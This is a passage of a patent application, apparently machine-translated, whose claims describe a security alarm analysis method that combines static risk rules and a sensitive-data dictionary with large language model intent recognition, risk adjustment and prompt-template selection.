[0149] The technical solutions provided in this application have been described in detail above. Specific examples have been used to illustrate the principles and implementation methods of this application. The descriptions of the embodiments above are only for the purpose of helping to understand the methods and core ideas of this application. It should be noted that those skilled in the art can make several improvements and modifications to this application without departing from the principles of this application, and these improvements and modifications also fall within the protection scope of this application.

Claims

1. An alarm analysis method, characterized in that, include: Collect message data and extract alarm information from the message data; The intent of the message is obtained by performing intent identification on the message data based on the alarm information. The message data is risk-identified using static identification rules to obtain an initial risk level. The message data, message intent, and initial risk level are processed using a large language model to obtain a target risk level after dynamic adjustment of the initial risk level. Select an alarm analysis prompt template based on the alarm information and the target risk level; The alarm analysis prompts and alarm information are processed using a large language model to obtain the alarm analysis results corresponding to the alarm information.

2. The alarm analysis method according to claim 1, characterized in that, Based on the alarm information, the message data is subjected to intent identification to obtain the message intent, including: Determine the intent recognition prompt template; The intent prompt word template, the alarm information, and the message data are processed using a large language model to obtain the message intent of the message data.

3. The alarm analysis method according to claim 2, characterized in that, Determine the intent recognition prompt template, including: When no template selection instruction is received, the general prompt word template will be used as the intent recognition prompt word template. When the template selection instruction is received, the target industry attribute is determined according to the template selection instruction, and the customized prompt word template corresponding to the target industry attribute is used as the intent recognition prompt word template.

4. The alarm analysis method according to claim 2, characterized in that, Also includes: Determine the confidence level of the large language model output regarding the message intent; When the confidence level is lower than a preset threshold, the message intent is corrected using the static identification rules.

5. The alarm analysis method according to claim 1, characterized in that, The message data is used to identify risks using static identification rules to obtain an initial risk level, including: The message data is matched with a preset sensitive data dictionary to determine the target sensitive data that the message data matches in the preset sensitive data dictionary; The risk level corresponding to the target sensitive data is used as the initial risk level.

6. The alarm analysis method according to claim 1, characterized in that, The message data, message intent, and initial risk level are processed using a large language model to obtain a target risk level after dynamic adjustment of the initial risk level, including: The message data, message intent, and initial risk level are processed using a large language model to obtain an adjusted risk level; The target risk level is obtained by weighted fusion of the message intent, the initial risk level, and the adjusted risk level.

7. The alarm analysis method according to claim 1, characterized in that, Based on the alarm information and the target risk level, select an alarm analysis prompt template, including: Determine the alarm type based on the alarm information; Determine the target industry attribute based on the template selection instructions; Select the alarm analysis prompt template based on the alarm type, the target risk level, and the target industry attribute.

8. The alarm analysis method according to claim 1, characterized in that, After collecting message data, the process also includes: The message data is preprocessed to obtain preprocessed message data; the preprocessing includes one or more of the following: data decoding processing, data decompression processing, data reassembly processing, and fault tolerance processing for abnormal data. The data format of the preprocessed message data is converted into a preset data format to obtain formatted message data.

9. An alarm analysis device, characterized in that, include: The extraction module is used to collect message data and extract alarm information from the message data; The first identification module is used to identify the intent of the message data based on the alarm information to obtain the message intent; The second identification module is used to identify risks in the message data using static identification rules to obtain an initial risk level. The adjustment module is used to process the message data, the message intent, and the initial risk level using a large language model to obtain a target risk level after dynamically adjusting the initial risk level. The selection module is used to select an alarm analysis prompt word template based on the alarm information and the target risk level. The analysis module is used to process the alarm analysis prompts and alarm information using a large language model to obtain the alarm analysis result corresponding to the alarm information.

10. An electronic device, characterized in that, include: Memory, used to store computer programs; A processor, configured to implement the alarm assessment method as described in any one of claims 1 to 8 when executing the computer program.

11. A computer-readable storage medium, characterized in that, The computer-readable storage medium stores a computer program, which, when executed by a processor, implements the steps of the alarm analysis method as described in any one of claims 1 to 8.

Images